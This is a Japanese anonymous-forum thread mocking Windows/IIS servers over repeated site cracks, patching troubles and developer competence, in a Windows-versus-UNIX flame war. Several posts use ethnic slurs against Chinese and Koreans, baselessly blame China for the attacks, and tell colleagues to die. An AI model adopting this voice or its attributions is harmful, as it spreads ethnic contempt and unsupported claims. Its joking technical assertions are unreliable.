パッチ当てによる動作仕様変更もブラックボックスなので、運用側はそう気安く
アップデートできない。
パッチをあてるとそれまで動いていたスクリプトがエラーを起こし、サイト運用
自体に支障をきたすこともあるので、見た目とりあえず問題ないようであると放
置状態が続きやすい。

一番問題なのはM$最新パッチ当てたらおかしくなるのが日常茶飯事だという事だな。
吟味しなきゃ安心してパッチも当てられない。

自動アップデートをオンにすると週末に勝手に再起動されてたりするよね。

>>217
こんなOS、よくサーバ用途に使う気になるなｗ

オモチャ。

元汎用機屋だろ簡単にWindowsに飛びつくのは。

今までベンダー丸投げで重要なところよくわからんから
UNIX導入しようにも理解できないからな。

基礎のしっかりしていない香具師は応用効かないからな。

頭が悪くて融通がきかないやつに限ってWindowsマンセーｗ

もう、ほっとけ。
別に真実なんてどっちでも良いんだから。
勝手に情報漏えい祭りで遊んでりゃ良いだろ。

人の揚げ足とらなきゃ飯が食えない無能も多いからな。

>>224
Windows鯖ばかりがクラック受けてんのは事実

>>224
勝手にって、IIS使ってて個人情報まき散らされたら最終的に被害うけんのは一般人だぞ

出来の悪いWindowsサーバを商用UNIXサーバ並にセキュリティ対策してクラスタ環境組んで
まともに安定運用しようとしたら、費用が商用UNIXサーバより高額になるよ。

その費用じゃWindowsサーバの価格メリットないでしょ。
だから普通の頭してたら商用UNIXサーバで公開するんだけどね。

でも頭の悪い連中はレベルの低いベンダーの言うことまともに受けて適当な設定のWindowsサーバ
導入しちゃうんだよね。　特に汎用機上がりのシステム部門をもつ会社はね。

>>227
総じてバカ向けなんだよね。で、MSのいいカモになってる。

>>228
商売なんてそんなもんだろ
　
MSCE認定だったけ？なみの機械では動かない上に高額に設定してある

カモかも

だから商売なんだろが

>>231
客をカモることが商売とは、さすが半島の方は一味違いますねｗ

>>232
だから>>227がかもだといってるんだ
ツテがあればあんなのタダになるのに

>>233
タダという言葉にすぐ釣られるのがカモｗ

>>234
いきなり朝鮮人扱いの上、タダが多いunixの連中が
ただに釣られるのがカモですと
　
冗談もほどほどにしなさい

>>235
タダだからUnix使うわけでもなかろうに...。

>>236
unixにはクローンが多いだけのことじゃないか
こだわる人はBSDラインセンス自前で買ってるだろう

>>227
ホントに機械の動作を知って構築してる奴なんてほとんど居ない。
そもそもそれほどの価値が無いから年収400万程度しかもらえないんだろうけどさ。

後、企業が恐れてるのはネットによって情報の共有スピードが速くなったから
社内不正漏洩によって失態、経営者が失墜するのを恐れてる。
昔は金で隠蔽できたけど。

世の中旨く出来てるよ。
社内不正で起きた問題は機械の誤動作と責任回避する
役員や経営者を一杯見てきたからな。

本当にITが完成すると本物しか世の中に認められなくなる。
80％の人たちが職を失うだろうね。

だめだこりゃｗ

IISまたクラックされてるね。

どんどん問題が起きてMSはさらに強力になるな。
機械のせいにしておけば誰も責任を取らなくて良いし。

公務員はしまいに台風のせいにするけどな

攻撃してるのは中国 ではないか？
理由は米Yahoo!と契約しなかったから
日Yahoo!が中国のアリババに頼んで…

何だか Yahoo!の買収・売却騒ぎの時期と被ってるように思えるんだけどなー

ｱﾎか、穴だらけだからシナチョンにﾌﾙﾎﾞｯｺされるんだよ。
皿仕上げ

クライアントのIEとFlashのセキュリティホールも放置されっぱのままだしな。
どーなってんの？

>>245
IEの修正をしたらWindowsが挙動不審になってしまうので
もう修正できません

テスト機追加でさらに売り上げ２倍

Windowsって何やらせてもだめだな

Windowsは巨大で複雑すぎるんじゃないか？
だから1つのセキュリティホール潰してもいくらでも出てくる

>>237 商用UNIXは　SVR4が殆どだけど。
BSDなのはMacOSXとなんだろな。。

>>249
次のwindows7はモジュールで付加するタイプに戻る？なるようだから期待しなが夢見るか

>>251
とりあえず思いつく物はなんでも詰め込んでおこう、という
幼稚な設計思想だからなぁ。

>>252
もう無駄にがんばらないでアップルからOSをOEMさせてもらえよ。。。

>>251
残念なお知らせが…

オワタ...。

>>254
あー俺も見たよ、8に期待か………
こうなったらゲームようとして保存………する必要はないなどうせDirectX10はこの先ので互換出来るだろうし

ついに、もう誤魔化しがきかないとこまできちゃったね。

これからどうしてくつもりなんだろね　＞　MS

これはもうダメかもわからんね。

IISは危険すぐる

バカでも「生産性が高い」.netフレームワークで開発できるからな。
サニタイズもプリペアドステートメントも知らないﾊﾞｶがIISで鯖を立てるとこういう悲惨なノーガード戦法になるわけだな。

バカでも簡単に作れるという触れ込みなのに、実際にバカがつくると
悲惨な事故をまねくMSの開発環境ｗ

こういうのが一番ヤバい開発環境。

.net（笑）

IISではよくあること

仕事上専ら.Net＋IISでやってるけどさ。
便利は便利なんだよな。今じゃ便利なのが良いことかどうかわからなくなってきたがｗ

XHTML、CSS、javascript…そのへん何も知らなくても動くものが作れてしまうのがな。
そういうバカ共と仕事するのは本当にしんどい。
修正しようにも「動いてるんだから（ｒｙ」だしな。バ管理者もPGもどきも死ね。

またIISか！

頭の悪いVB厨にネットシステム作らせる方が無謀。

で元コボラーなんだろうな。

【ネット】サイバー攻撃対策、日本と韓国の官民がタッグを組み、情報共有サイト構築へ［06/06］
http://news24.2ch.net/test/read.cgi/news4plus/1212684097/

サラシage

いまだにIISやられまっくてんだが...。

なんだまだFIXしてないのか

ドザは他のスレだと威勢がいいくせに
このスレには書き込まないんだよ

>>273
たしかにｗ

>>273
こういう話はMSに相当都合が悪いからな。

「セキュリティソフトを入れないとあなたのPCの安全は保証できません」って
警告するOSを何の疑いもなくマンセーする思考停止した人種だからなｗ

M$どんどん技術力落ちてるなｗ

>>277
いや、もともと技術力とか開発力なんてないし。

まだFIXされんのか。。。

>>265
.netなんて使ったことないけど
XHTML、CSS、javascript…そのへん何も知らなくても動くものが作れるんだ？

超便利じゃん、俺明日から使うわ

>
>バカでも簡単に作れるという触れ込みなのに、実際にバカがつくると
>悲惨な事故をまねくMSの開発環境ｗ
>

>>280
MSの開発環境は質の悪いシャブみたいなもんだ。
後で大後悔するハメになる。

IISで自宅鯖立ててるが別に問題は起きてないな。
不正にアクセスしようとした痕跡は多々あるが。
UNIXも初期の状態なら穴だらけ。
つまりそういうことだろ。
まあWinの場合インストールした時点で不要な機能がてんこ盛りってのが回避不能と問題があるけど。

Ｗｉｎ房の無理って恐ろしいな。　

無知は罪なり

>>283
静かにボットが巣食っている可能性99％ですな。

>>285
その　手　のボットについては、キーボードやマウスのノイズフィルターの有無であって
ソフトウェアのもんではないですよ
　
あれがないと、高圧電流で手の骨が計測できるはずだから

>>283
おたくのサーバーからウチのサイトに
スパムアクセスが来てるのですが

ふー

IISで自宅鯖ってどんだけ情報弱者なんだよｗ

だってWindowsしか使えないんだもんｗ

>>290
そういうバカが「ボクにもできるお！」と、鯖立ち上げるのが一番ヤバい。

ぼくのウェブサーバはあぱっちだじょ〜
いつも支那やラテンにいじられまくり

Windowsに「詳しい」ヤツって、単にWindowsしか使えないだけだったりするんだよな。。。

何事も突き詰めることはいいことじゃないか。
Winのプロなんてなんの自慢にもならないけどｗ

>>293
俗に言うIT土方ですね、わかります。

あ

>>294
Windowsのプロ（笑）

>>293 正解！！　逆にＵＮＩＸ系の人間はWIndows系も詳しい人間が多い。
　　　　　　　　　　　

UNIX系はエンジニアって感じだけど、WIndows系はどこまで行っても土方だからなあ。。。

Windows弄ってても優秀なやつはすぐにＵＮＩＸ系に移動するからね。
いつまでもWindowsにしがみ付くのは能無しばかりしかいない。

無能WINしかユーザによるとUNIXは暗黒のアフリカ大陸みたいなものだそうだ。
シェアを根拠に安住してると他の世界に飛び込む勇気がなくなるんだろな。「だってMS様のWinで全部できるもん！」ｗ

Windowsのプロ（笑）

笑

またIISサイトがやられてるな

ある程度書き込みが集中しないとあがらんのではないか。

ﾄﾞｻﾞは(∩. ﾟдﾟ)ｱｰｱｰ聞こえないｗ

今だにIIS使ってるのって馬鹿なの？